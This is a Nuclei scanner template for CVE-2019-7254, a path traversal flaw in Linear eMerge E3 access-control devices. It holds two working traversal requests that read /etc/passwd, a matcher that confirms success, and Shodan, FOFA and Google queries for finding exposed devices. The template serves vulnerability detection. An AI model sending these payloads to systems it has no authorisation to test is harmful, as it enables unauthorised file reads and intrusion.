id: CVE-2019-7254

info:
  name: eMerge E3 1.00-06 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Linear eMerge E3-Series devices are vulnerable to local file inclusion.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, remote code execution, and potential compromise of the affected system.
  remediation: |
    Apply the latest security patch or update to a non-vulnerable version of eMerge E3.
  reference:
    - https://www.exploit-db.com/exploits/47616
    - https://applied-risk.com/labs/advisories
    - https://www.applied-risk.com/resources/ar-2019-005
    - http://packetstormsecurity.com/files/155252/Linear-eMerge-E3-1.00-06-Directory-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7254
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-7254
    cwe-id: CWE-22
    epss-score: 0.82036
    epss-percentile: 0.99609
    cpe: cpe:2.3:o:nortekcontrol:linear_emerge_essential_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: nortekcontrol
    product: linear_emerge_essential_firmware
    shodan-query: http.title:"emerge"
    fofa-query: title="emerge"
    google-query: intitle:"emerge"
  tags: cve,cve2019,emerge,lfi,edb,packetstorm,nortekcontrol,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?c=../../../../../../etc/passwd%00"
      - "{{BaseURL}}/badging/badge_print_v0.php?tpl=../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c2a9cd944031f52b7fea793e37fc7b5bba2eb8d097d03beafce440aaae10d12a0221008d268add2b2dad8ae84881b65174f521238d49955794e627a217c48e2a3f9b9f:922c64590222798bb761d5b6d8e72950